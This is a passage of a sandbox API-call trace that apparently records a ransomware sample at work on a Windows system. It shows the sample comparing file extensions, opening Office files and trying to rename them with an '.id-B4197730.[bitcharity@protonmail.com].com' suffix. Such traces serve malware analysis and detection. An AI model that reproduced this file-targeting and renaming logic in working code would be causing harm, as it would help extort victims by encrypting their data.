dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.834] CloseHandle (hObject=0x10bc) returned 1 [0257.835] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.835] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.835] CloseHandle (hObject=0x10bc) returned 1 [0257.837] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.837] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.838] CloseHandle (hObject=0x10bc) returned 1 [0257.838] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.838] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.839] CloseHandle (hObject=0x10bc) returned 1 [0257.839] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.840] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.840] CloseHandle (hObject=0x10bc) returned 1 [0257.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS") returned 71 [0257.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS") returned 71 [0257.840] lstrlenW (lpString=".doc") returned 4 [0257.840] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0257.840] lstrlenW (lpString=".docx") returned 5 [0257.840] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0257.840] lstrlenW (lpString=".pdf") returned 4 [0257.840] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0257.840] lstrlenW (lpString=".xls") returned 4 [0257.840] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0257.840] lstrlenW (lpString=".xlsx") returned 5 [0257.840] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0257.840] lstrlenW (lpString=".ppt") returned 4 [0257.841] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0257.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS") returned 71 [0257.841] lstrlenW (lpString=".zip") returned 4 [0257.841] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0257.841] lstrlenW (lpString=".rar") returned 4 [0257.841] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0257.841] lstrlenW (lpString=".bz2") returned 4 [0257.841] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0257.841] lstrlenW (lpString=".7z") returned 3 [0257.841] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0257.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS") returned 71 [0257.841] lstrlenW (lpString=".dbf") returned 4 [0257.841] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0257.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS") returned 71 [0257.841] lstrlenW (lpString=".1cd") returned 4 [0257.841] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0257.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS") returned 71 [0257.841] lstrlenW (lpString=".jpg") returned 4 [0257.841] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0257.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS") returned 71 [0257.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS") returned 71 [0257.841] lstrlenW (lpString=".doc") returned 4 [0257.841] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0257.841] lstrlenW (lpString=".docx") returned 5 [0257.841] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0257.841] lstrlenW (lpString=".pdf") returned 4 [0257.841] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0257.841] lstrlenW (lpString=".xls") returned 4 [0257.842] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0257.842] lstrlenW (lpString=".xlsx") returned 5 [0257.842] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0257.842] lstrlenW (lpString=".ppt") returned 4 [0257.842] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0257.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS") returned 71 [0257.842] lstrlenW (lpString=".zip") returned 4 [0257.842] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0257.842] lstrlenW (lpString=".rar") returned 4 [0257.842] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0257.842] lstrlenW (lpString=".bz2") returned 4 [0257.842] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0257.842] lstrlenW (lpString=".7z") returned 3 [0257.842] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0257.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS") returned 71 [0257.842] lstrlenW (lpString=".dbf") returned 4 [0257.842] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0257.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS") returned 71 [0257.842] lstrlenW (lpString=".1cd") returned 4 [0257.842] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0257.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS") returned 71 [0257.842] lstrlenW (lpString=".jpg") returned 4 [0257.842] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0257.842] lstrcmpiW (lpString1=".HXS", lpString2=".com") returned 1 [0257.843] lstrlenW (lpString="SKYPEFB_ONLINEG.HXS") returned 19 [0257.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0257.843] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=128132) returned 1 [0257.843] CloseHandle (hObject=0x10bc) returned 1 [0257.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs")) returned 0x220 [0257.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0257.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0257.844] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.844] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.844] CloseHandle (hObject=0x10bc) returned 1 [0257.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS") returned 72 [0257.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS") returned 72 [0257.845] lstrlenW (lpString=".doc") returned 4 [0257.845] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0257.845] lstrlenW (lpString=".docx") returned 5 [0257.845] lstrcmpiW (lpString1=".docx", lpString2="G.HXS") returned -1 [0257.845] lstrlenW (lpString=".pdf") returned 4 [0257.845] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0257.845] lstrlenW (lpString=".xls") returned 4 [0257.845] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0257.845] lstrlenW (lpString=".xlsx") returned 5 [0257.845] lstrcmpiW (lpString1=".xlsx", lpString2="G.HXS") returned -1 [0257.845] lstrlenW (lpString=".ppt") returned 4 [0257.845] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0257.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS") returned 72 [0257.846] lstrlenW (lpString=".zip") returned 4 [0257.846] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0257.846] lstrlenW (lpString=".rar") returned 4 [0257.846] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0257.846] lstrlenW (lpString=".bz2") returned 4 [0257.846] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0257.846] lstrlenW (lpString=".7z") returned 3 [0257.846] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0257.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS") returned 72 [0257.846] lstrlenW (lpString=".dbf") returned 4 [0257.846] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0257.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS") returned 72 [0257.846] lstrlenW (lpString=".1cd") returned 4 [0257.846] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0257.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS") returned 72 [0257.846] lstrlenW (lpString=".jpg") returned 4 [0257.846] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0257.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS") returned 72 [0257.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS") returned 72 [0257.847] lstrlenW (lpString=".doc") returned 4 [0257.847] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0257.847] lstrlenW (lpString=".docx") returned 5 [0257.847] lstrcmpiW (lpString1=".docx", lpString2="G.HXS") returned -1 [0257.847] lstrlenW (lpString=".pdf") returned 4 [0258.123] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0258.123] lstrlenW (lpString=".xls") returned 4 [0258.123] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0258.123] lstrlenW (lpString=".xlsx") returned 5 [0258.124] lstrcmpiW (lpString1=".xlsx", lpString2="G.HXS") returned -1 [0258.124] lstrlenW (lpString=".ppt") returned 4 [0258.124] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0258.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS") returned 72 [0258.124] lstrlenW (lpString=".zip") returned 4 [0258.124] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0258.124] lstrlenW (lpString=".rar") returned 4 [0258.124] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0258.124] lstrlenW (lpString=".bz2") returned 4 [0258.124] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0258.124] lstrlenW (lpString=".7z") returned 3 [0258.124] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0258.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS") returned 72 [0258.124] lstrlenW (lpString=".dbf") returned 4 [0258.124] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0258.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS") returned 72 [0258.124] lstrlenW (lpString=".1cd") returned 4 [0258.124] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0258.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS") returned 72 [0258.124] lstrlenW (lpString=".jpg") returned 4 [0258.124] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0258.125] lstrcmpiW (lpString1=".HXT", lpString2=".com") returned 1 [0258.125] lstrlenW (lpString="SKYPEFB_ONLINEG_COL.HXT") returned 23 [0258.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0258.567] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=215) returned 1 [0258.567] CloseHandle (hObject=0x1288) returned 1 [0258.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxt")) returned 0x220 [0258.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxt.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0258.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0258.881] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.882] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.882] CloseHandle (hObject=0x11d0) returned 1 [0258.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT") returned 76 [0258.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT") returned 76 [0258.882] lstrlenW (lpString=".doc") returned 4 [0258.882] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0258.882] lstrlenW (lpString=".docx") returned 5 [0258.882] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0258.882] lstrlenW (lpString=".pdf") returned 4 [0258.882] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0258.882] lstrlenW (lpString=".xls") returned 4 [0258.882] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0258.882] lstrlenW (lpString=".xlsx") returned 5 [0258.882] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0258.882] lstrlenW (lpString=".ppt") returned 4 [0258.882] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0258.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT") returned 76 [0258.883] lstrlenW (lpString=".zip") returned 4 [0258.883] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0258.883] lstrlenW (lpString=".rar") returned 4 [0258.883] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0258.883] lstrlenW (lpString=".bz2") returned 4 [0258.883] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0258.883] lstrlenW (lpString=".7z") returned 3 [0258.883] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0258.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT") returned 76 [0258.883] lstrlenW (lpString=".dbf") returned 4 [0258.883] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0258.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT") returned 76 [0258.883] lstrlenW (lpString=".1cd") returned 4 [0258.883] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0258.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT") returned 76 [0258.883] lstrlenW (lpString=".jpg") returned 4 [0258.883] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0258.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT") returned 76 [0258.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT") returned 76 [0258.883] lstrlenW (lpString=".doc") returned 4 [0258.883] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0258.883] lstrlenW (lpString=".docx") returned 5 [0258.884] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0258.884] lstrlenW (lpString=".pdf") returned 4 [0258.884] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0258.884] lstrlenW (lpString=".xls") returned 4 [0258.884] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0258.884] lstrlenW (lpString=".xlsx") returned 5 [0258.884] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0258.884] lstrlenW (lpString=".ppt") returned 4 [0258.884] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0258.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT") returned 76 [0258.884] lstrlenW (lpString=".zip") returned 4 [0258.884] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0258.884] lstrlenW (lpString=".rar") returned 4 [0258.884] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0258.884] lstrlenW (lpString=".bz2") returned 4 [0258.884] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0258.884] lstrlenW (lpString=".7z") returned 3 [0258.884] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0258.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT") returned 76 [0258.884] lstrlenW (lpString=".dbf") returned 4 [0258.884] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0258.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT") returned 76 [0258.884] lstrlenW (lpString=".1cd") returned 4 [0258.884] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0258.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT") returned 76 [0258.885] lstrlenW (lpString=".jpg") returned 4 [0258.885] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0258.885] lstrcmpiW (lpString1=".ACCDU", lpString2=".com") returned -1 [0258.885] lstrlenW (lpString="ACWZUSR12.ACCDU") returned 15 [0258.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzusr12.accdu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1280 [0259.036] GetFileSizeEx (in: hFile=0x1280, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=3424256) returned 1 [0259.036] CloseHandle (hObject=0x1280) returned 1 [0259.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzusr12.accdu")) returned 0x220 [0259.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzusr12.accdu.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0259.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzusr12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzusr12.accdu.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0259.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU") returned 70 [0259.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU") returned 70 [0259.041] lstrlenW (lpString=".doc") returned 4 [0259.041] lstrcmpiW (lpString1=".doc", lpString2="CCDU") returned -1 [0259.041] lstrlenW (lpString=".docx") returned 5 [0259.041] lstrcmpiW (lpString1=".docx", lpString2="ACCDU") returned -1 [0259.041] lstrlenW (lpString=".pdf") returned 4 [0259.041] lstrcmpiW (lpString1=".pdf", lpString2="CCDU") returned -1 [0259.041] lstrlenW (lpString=".xls") returned 4 [0259.041] lstrcmpiW (lpString1=".xls", lpString2="CCDU") returned -1 [0259.041] lstrlenW (lpString=".xlsx") returned 5 [0259.041] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDU") returned -1 [0259.041] lstrlenW (lpString=".ppt") returned 4 [0259.041] lstrcmpiW (lpString1=".ppt", lpString2="CCDU") returned -1 [0259.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU") returned 70 [0259.041] lstrlenW (lpString=".zip") returned 4 [0259.041] lstrcmpiW (lpString1=".zip", lpString2="CCDU") returned -1 [0259.042] lstrlenW (lpString=".rar") returned 4 [0259.042] lstrcmpiW (lpString1=".rar", lpString2="CCDU") returned -1 [0259.042] lstrlenW (lpString=".bz2") returned 4 [0259.042] lstrcmpiW (lpString1=".bz2", lpString2="CCDU") returned -1 [0259.042] lstrlenW (lpString=".7z") returned 3 [0259.042] lstrcmpiW (lpString1=".7z", lpString2="CDU") returned -1 [0259.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU") returned 70 [0259.042] lstrlenW (lpString=".dbf") returned 4 [0259.042] lstrcmpiW (lpString1=".dbf", lpString2="CCDU") returned -1 [0259.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU") returned 70 [0259.042] lstrlenW (lpString=".1cd") returned 4 [0259.042] lstrcmpiW (lpString1=".1cd", lpString2="CCDU") returned -1 [0259.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU") returned 70 [0259.042] lstrlenW (lpString=".jpg") returned 4 [0259.042] lstrcmpiW (lpString1=".jpg", lpString2="CCDU") returned -1 [0259.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU") returned 70 [0259.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU") returned 70 [0259.042] lstrlenW (lpString=".doc") returned 4 [0259.042] lstrcmpiW (lpString1=".doc", lpString2="CCDU") returned -1 [0259.043] lstrlenW (lpString=".docx") returned 5 [0259.043] lstrcmpiW (lpString1=".docx", lpString2="ACCDU") 